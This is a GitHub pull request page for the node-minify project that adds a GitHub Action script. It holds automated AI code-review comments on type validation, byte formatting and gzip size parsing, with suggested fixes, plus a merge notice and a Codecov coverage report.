const requiresType = ["esbuild", "lightningcss", "yui"].includes(compressorName);
if (requiresType && !fileType) {
console.error(`::error::Compressor '${compressorName}' requires the 'type' input (js or css)`);
process.exit(1);
}
await minify({
compressor: compressor as Parameters<
typeof minify
>[0]["compressor"],
input: inputPath,
output: outputPath,
...(fileType && { type: fileType as "js" | "css" }),
...(Object.keys(options).length > 0 && { options }),
});
Prompt To Fix With AI
This is a comment left during a code review.
Path: .github/actions/node-minify/minify.ts
Line: 166:174

Comment:
**style:** `type` field is only passed to `minify()` when `fileType` is truthy, but some compressors (esbuild, lightningcss, yui) require it. The validation happens inside @node-minify/core, but users won't know until minification fails.

```suggestion
        // Validate type requirement for specific compressors
        const requiresType = ["esbuild", "lightningcss", "yui"].includes(compressorName);
        if (requiresType && !fileType) {
            console.error(`::error::Compressor '${compressorName}' requires the 'type' input (js or css)`);
            process.exit(1);
        }

        await minify({
            compressor: compressor as Parameters<
                typeof minify
            >[0]["compressor"],
            input: inputPath,
            output: outputPath,
            ...(fileType && { type: fileType as "js" | "css" }),
            ...(Object.keys(options).length > 0 && { options }),
        });
```

How can I resolve this? If you propose a fix, please make it concise.

@srod srod force-pushed the feature/github-action branch from f0ad2ed to dbc4715 Compare January 7, 2026 18:15
Copy link
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🤖 Fix all issues with AI agents
In @.github/actions/node-minify/minify.ts:
- Around line 82-88: The formatBytes function can index past the sizes array for
very large byte values; clamp the computed index i to the last valid index or
extend sizes to include larger units so sizes[i] is never undefined.
Specifically, in formatBytes, after computing i via
Math.floor(Math.log(bytes)/Math.log(k)), replace its raw use with a clampedIndex
= Math.min(i, sizes.length - 1) (or expand sizes to include "TB","PB", etc.) and
use that clampedIndex when formatting the output.
📜 Review details

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between a77d9a3 and dbc4715.

📒 Files selected for processing (2)
  • .github/actions/node-minify/action.yml
  • .github/actions/node-minify/minify.ts
🚧 Files skipped from review as they are similar to previous changes (1)
  • .github/actions/node-minify/action.yml
🧰 Additional context used
🧬 Code graph analysis (1)
.github/actions/node-minify/minify.ts (1)
packages/core/src/index.ts (1)
  • minify (21-27)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (3)
  • GitHub Check: test (windows-latest, 20.x)
  • GitHub Check: test (windows-latest, 22.x)
  • GitHub Check: test (windows-latest, 24.x)
🔇 Additional comments (6)
.github/actions/node-minify/minify.ts (6)

1-30: LGTM: Imports and compressor mapping are comprehensive.

The KNOWN_COMPRESSOR_EXPORTS mapping covers a wide range of compressors and correctly includes the gcc alias for google-closure-compiler.


32-63: LGTM: Robust compressor resolution strategy.

The function implements a sensible fallback chain (known export → default → any function) and provides clear error messages when no valid compressor is found.


90-113: LGTM: Output handling and file size utilities are correct.

The setOutput function correctly uses the GITHUB_OUTPUT environment variable without falling back to the deprecated ::set-output command. The getFileSize wrapper is straightforward and appropriate.


115-148: LGTM: Input validation and path resolution are secure.

The function properly validates required inputs, resolves paths safely to prevent directory traversal, and checks for input file existence before proceeding.


150-198: LGTM: Minification orchestration is robust.

The code correctly validates type requirements for compressors that need them (esbuild, lightningcss, yui), handles JSON parsing errors gracefully, and accurately measures execution time and compression metrics.


220-260: LGTM: Output generation and error handling are comprehensive.

The result structure correctly matches the ActionResult interface, all outputs are properly set, and error handling provides clear GitHub Actions-formatted messages with appropriate exit codes.

Comment on lines +82 to +88
function formatBytes(bytes: number): string {
if (bytes === 0) return "0 B";
const k = 1024;
const sizes = ["B", "kB", "MB", "GB"];
const i = Math.floor(Math.log(bytes) / Math.log(k));
return `${Number.parseFloat((bytes / k ** i).toFixed(2))} ${sizes[i]}`;
}
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Index out of bounds for files ≥1 TB remains unaddressed.

The sizes array still has only 4 elements (B, kB, MB, GB), so for files ≥1 TB, sizes[i] returns undefined (e.g., "1.23 undefined"). While unlikely for minified files, consider clamping the index or extending the array.

♻️ Proposed fix
 function formatBytes(bytes: number): string {
     if (bytes === 0) return "0 B";
     const k = 1024;
-    const sizes = ["B", "kB", "MB", "GB"];
-    const i = Math.floor(Math.log(bytes) / Math.log(k));
+    const sizes = ["B", "kB", "MB", "GB", "TB"];
+    const i = Math.min(Math.floor(Math.log(bytes) / Math.log(k)), sizes.length - 1);
     return `${Number.parseFloat((bytes / k ** i).toFixed(2))} ${sizes[i]}`;
 }
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
function formatBytes(bytes: number): string {
if (bytes === 0) return "0 B";
const k = 1024;
const sizes = ["B", "kB", "MB", "GB"];
const i = Math.floor(Math.log(bytes) / Math.log(k));
return `${Number.parseFloat((bytes / k ** i).toFixed(2))} ${sizes[i]}`;
}
function formatBytes(bytes: number): string {
if (bytes === 0) return "0 B";
const k = 1024;
const sizes = ["B", "kB", "MB", "GB", "TB"];
const i = Math.min(Math.floor(Math.log(bytes) / Math.log(k)), sizes.length - 1);
return `${Number.parseFloat((bytes / k ** i).toFixed(2))} ${sizes[i]}`;
}
🤖 Prompt for AI Agents
In @.github/actions/node-minify/minify.ts around lines 82 - 88, The formatBytes
function can index past the sizes array for very large byte values; clamp the
computed index i to the last valid index or extend sizes to include larger units
so sizes[i] is never undefined. Specifically, in formatBytes, after computing i
via Math.floor(Math.log(bytes)/Math.log(k)), replace its raw use with a
clampedIndex = Math.min(i, sizes.length - 1) (or expand sizes to include
"TB","PB", etc.) and use that clampedIndex when formatting the output.

Comment on lines +200 to +218
let gzipSize: number | null = null;
let gzipSizeFormatted: string | null = null;

if (includeGzip) {
const gzipResult = await getFilesizeGzippedInBytes(outputPath);
const match = gzipResult.match(/([\d.]+)\s*(\w+)/);
if (match) {
const value = Number.parseFloat(match[1]);
const unit = match[2];
const multipliers: Record<string, number> = {
B: 1,
kB: 1024,
MB: 1024 * 1024,
GB: 1024 * 1024 * 1024,
};
gzipSize = Math.round(value * (multipliers[unit] || 1));
gzipSizeFormatted = gzipResult;
}
}
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Missing unit multipliers for TB and larger units remain unaddressed.

The multipliers object still only includes B through GB. Since prettyBytes (used by getFilesizeGzippedInBytes) can return units up to YB, large gzipped files would silently calculate incorrect byte values (e.g., "1.5 TB" → 1.5 bytes instead of ~1.6 trillion bytes).

♻️ Proposed fix
                 const multipliers: Record<string, number> = {
                     B: 1,
                     kB: 1024,
                     MB: 1024 * 1024,
                     GB: 1024 * 1024 * 1024,
+                    TB: 1024 ** 4,
+                    PB: 1024 ** 5,
+                    EB: 1024 ** 6,
+                    ZB: 1024 ** 7,
+                    YB: 1024 ** 8,
                 };
                 gzipSize = Math.round(value * (multipliers[unit] || 1));
                 gzipSizeFormatted = gzipResult;
+            } else {
+                console.warn(`Could not parse gzip result: ${gzipResult}`);
             }

@srod srod merged commit a70e079 into develop Jan 7, 2026
14 checks passed
@srod srod deleted the feature/github-action branch January 7, 2026 20:04
@codecov
Copy link

codecov bot commented Jan 7, 2026

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 99.54%. Comparing base (14e7462) to head (dbc4715).
⚠️ Report is 17 commits behind head on develop.

Additional details and impacted files
@@           Coverage Diff            @@
##           develop    #2750   +/-   ##
========================================
  Coverage    99.54%   99.54%           
========================================
  Files           58       58           
  Lines         1104     1104           
  Branches       335      335           
========================================
  Hits          1099     1099           
  Misses           5        5           

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant